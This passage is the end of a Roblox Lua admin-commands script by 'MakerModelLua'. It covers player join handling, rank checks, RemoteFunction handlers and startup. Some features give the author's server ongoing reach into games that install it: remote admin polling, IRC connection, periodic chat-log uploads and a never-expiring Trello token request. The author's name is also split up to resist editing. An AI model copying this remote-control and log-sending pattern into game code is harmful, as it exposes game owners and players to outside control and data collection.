8946 | CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.") | |
8947 | for _,Person in pairs(Server.Players:GetPlayers()) do | |
8948 | GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5) | |
8949 | end | |
8950 | end | |
8951 | end | |
8952 | ||
8953 | if PlayerAdmin == false then | |
8954 | if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then | |
8955 | table.insert(Settings.Ranks["Member"], Player.Name) | |
8956 | PlayerAdmin = true | |
8957 | Rank = "Member" | |
8958 | end | |
8959 | end | |
8960 | ||
8961 | coroutine.wrap(function() | |
8962 | if PlayerAdmin == true then GUI:TellAdmin(Player) end | |
8963 | local function SpawnActions(Character) | |
8964 | if Flings[Player.Name] then | |
8965 | CORE:FlingPlayer(Player) | |
8966 | else | |
8967 | GUI:CreateTaskBar(Player) | |
8968 | end | |
8969 | if Beeps[Player.Name] == true then | |
8970 | SOUND:BeepPlayer(Player) | |
8971 | end | |
8972 | if Jails[Player.Name] then | |
8973 | Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0)) | |
8974 | end | |
8975 | if PermCommandBars[Player.Name] then | |
8976 | GUI:CommandBar(Player) | |
8977 | end | |
8978 | end | |
8979 | Player.CharacterAdded:connect(SpawnActions) | |
8980 | SpawnActions(Player.Character) | |
8981 | end)() | |
8982 | ||
8983 | coroutine.wrap(function() | |
8984 | Player:WaitForChild("PlayerGui") | |
8985 | local Sounds = {} | |
8986 | for _,Data in pairs(TextConverter.LetterSounds) do | |
8987 | local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false) | |
8988 | Sound:Play() | |
8989 | table.insert(Sounds, Sound) | |
8990 | end | |
8991 | for _,Data in pairs(TextConverter.LongVowels) do | |
8992 | local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false) | |
8993 | Sound:Play() | |
8994 | table.insert(Sounds, Sound) | |
8995 | end | |
8996 | wait(5) | |
8997 | for _,Sound in pairs(Sounds) do | |
8998 | Sound:Destroy() | |
8999 | end | |
9000 | Sounds = {} | |
9001 | end)() | |
9002 | ||
9003 | coroutine.wrap(function() | |
9004 | --if NLS then Server.Workspace:WaitForChild(Player.Name) end | |
9005 | if IsSB then | |
9006 | wait(1) | |
9007 | Player:WaitForChild("PlayerGui"):WaitForChild("Output") | |
9008 | end | |
9009 | CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script}) | |
9010 | print("Executed ClientLog on "..Player.Name) | |
9011 | if Settings.EnableTaskBar then | |
9012 | GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.") | |
9013 | end | |
9014 | end)() | |
9015 | ||
9016 | coroutine.wrap(function() | |
9017 | wait(7) | |
9018 | Player:WaitForChild("PlayerGui") | |
9019 | if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then | |
9020 | local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"}) | |
9021 | if Answer == "Ok" then | |
9022 | MARKET:PromptPurchase(Player, AdminID) | |
9023 | end | |
9024 | end | |
9025 | end)() | |
9026 | end | |
9027 | end)() end | |
9028 | ||
9029 | -- Active stuff -- | |
9030 | ||
9031 | CORE:UpdateAdmin() | |
9032 | CORE:FixSettings() | |
9033 | ||
9034 | ypcall(function() | |
9035 | if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then | |
9036 | Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {}) | |
9037 | end | |
9038 | end) | |
9039 | ||
9040 | ||
9041 | Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then | |
9042 | local PlayerAdmin, Rank = RANK:IsAdmin(Player) | |
9043 | if PlayerAdmin == false then | |
9044 | if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank) | |
9045 | elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end | |
9046 | end | |
9047 | end end) | |
9048 | ||
9049 | --[[ | |
9050 | ExecuteCommand.OnInvoke = function(Player, Command) | |
9051 | if Player and Command then | |
9052 | if type(Player) == "userdata" and Player:IsA("Player") then | |
9053 | CORE:Chatted(Command, Player, true) | |
9054 | end | |
9055 | end | |
9056 | end | |
9057 | ||
9058 | ExecuteCode.OnInvoke = function(Source, Speaker) | |
9059 | if type(Source) == "string" then | |
9060 | ExecuteSafe(Source, Speaker) | |
9061 | end | |
9062 | end | |
9063 | ||
9064 | ExecuteCommandClient.OnServerInvoke = function(Player, Command) | |
9065 | if Player and Command then | |
9066 | if type(Player) == "userdata" and Player:IsA("Player") then | |
9067 | CORE:Chatted(Command, Player, true) | |
9068 | end | |
9069 | end | |
9070 | end | |
9071 | ]] | |
9072 | ||
9073 | KeyPressed.OnServerInvoke = function(Player, Key) | |
9074 | if Player and Key then | |
9075 | if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then | |
9076 | CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true) | |
9077 | end | |
9078 | end | |
9079 | end | |
9080 | ||
9081 | InputKey.OnServerInvoke = function(Player, KeyVal) | |
9082 | if Player and KeyVal then | |
9083 | if LastKeys[Player.UserId] then | |
9084 | table.insert(LastKeys[Player.UserId], KeyVal) | |
9085 | if #LastKeys[Player.UserId] > 20 then | |
9086 | table.remove(LastKeys[Player.UserId], 1) | |
9087 | end | |
9088 | end | |
9089 | end | |
9090 | end | |
9091 | ||
9092 | RankPlayerLocal.OnServerInvoke = function(Player) | |
9093 | wait() | |
9094 | local Request = PendingRequests[Player] | |
9095 | if Request then | |
9096 | if math.abs(tick() - Request[2]) <= 1 then -- Expired brah | |
9097 | if Settings.Ranks[Request[1]] then | |
9098 | PendingRequests[Player] = nil | |
9099 | table.insert(Settings.Ranks[Request[1]], Player.Name) | |
9100 | GUI:TellAdmin(Player) | |
9101 | end | |
9102 | end | |
9103 | end | |
9104 | end | |
9105 | ||
9106 | RankPlayerServer.OnInvoke = function(Player, Rank) | |
9107 | if not RANK:IsAdmin(Player) then | |
9108 | PendingRequests[Player] = {Rank, tick()} | |
9109 | end | |
9110 | end | |
9111 | ||
9112 | IsAdmin.OnServerInvoke = function(Player) | |
9113 | local IsFullAdmin = false | |
9114 | for _,PName in pairs(Settings.Ranks["Owner"]) do | |
9115 | if PName == Player.Name then IsFullAdmin = true end | |
9116 | end | |
9117 | for _,PName in pairs(Settings.Ranks["Admin"]) do | |
9118 | if PName == Player.Name then IsFullAdmin = true end | |
9119 | end | |
9120 | return IsFullAdmin | |
9121 | end | |
9122 | ||
9123 | AddExploit.OnServerInvoke = CORE.AddExploit | |
9124 | AddExploitServer.OnInvoke = CORE.AddExploit | |
9125 | ||
9126 | KickClient.OnServerInvoke = function(PlayerClient) | |
9127 | PlayerClient:Kick() | |
9128 | end | |
9129 | ||
9130 | ConvertTextToSound.OnServerInvoke = function(_, Text, Parent) | |
9131 | return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent) | |
9132 | end | |
9133 | ||
9134 | for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end | |
9135 | Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin() | |
9136 | Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end) | |
9137 | ||
9138 | coroutine.wrap(function() | |
9139 | for _,ID in pairs(Icons) do | |
9140 | game:GetService("ContentProvider"):Preload("rbxassetid://"..ID) | |
9141 | end | |
9142 | end)() | |
9143 | ||
9144 | CORE:SetAbuseCommands() | |
9145 | ||
9146 | coroutine.wrap(function() SOUND:SyncSoundList() end)() | |
9147 | if not IsStudio then coroutine.wrap(function() | |
9148 | if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end | |
9149 | REMOTE:GetRemoteData(true) | |
9150 | REMOTE:CheckTrelloInfo() | |
9151 | coroutine.wrap(function() | |
9152 | if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then | |
9153 | REMOTE.RemoteConnection = true | |
9154 | end | |
9155 | end)() | |
9156 | coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)() | |
9157 | coroutine.wrap(function() | |
9158 | if Settings.LinkedAccount ~= "" then | |
9159 | local Request = nil | |
9160 | ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end) | |
9161 | if Request then | |
9162 | REMOTE:HandleRequest(Request, true) | |
9163 | end | |
9164 | end | |
9165 | end)() | |
9166 | coroutine.wrap(function() | |
9167 | wait(RemoteData.RemoteAdminWait) | |
9168 | while REMOTE:GetAndSetWebData() do | |
9169 | wait(RemoteData.RemoteAdminWait) | |
9170 | end | |
9171 | end)() | |
9172 | coroutine.wrap(function() | |
9173 | while wait(60) do | |
9174 | REMOTE:GetRemoteData(true) | |
9175 | REMOTE:CheckTrelloInfo() | |
9176 | end | |
9177 | end)() | |
9178 | end)() end | |
9179 | coroutine.wrap(function() | |
9180 | if Settings.TrelloToken ~= "" then | |
9181 | ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end) | |
9182 | if #Trello.RequiredLists > 0 then | |
9183 | Trello.MainBoard = REMOTE:TrelloGetAdminBoard() | |
9184 | if Trello.MainBoard.name then | |
9185 | local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard) | |
9186 | REMOTE:TrelloCacheData(Lists) | |
9187 | REMOTE:TrelloHandleData(true) | |
9188 | coroutine.wrap(function() | |
9189 | wait(RemoteData.TrelloWait) | |
9190 | while REMOTE:TrelloHandleData() do | |
9191 | wait(RemoteData.TrelloWait) | |
9192 | end | |
9193 | end)() | |
9194 | end | |
9195 | end | |
9196 | else | |
9197 | print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings") | |
9198 | end | |
9199 | end)() | |
9200 | coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do | |
9201 | REMOTE:SendChatLog() | |
9202 | end end)() | |
9203 | coroutine.wrap(function() while true do | |
9204 | local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY") | |
9205 | if ThisDate then Date = ThisDate end | |
9206 | wait(600) | |
9207 | end end)() | |
9208 | ||
9209 | print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded") |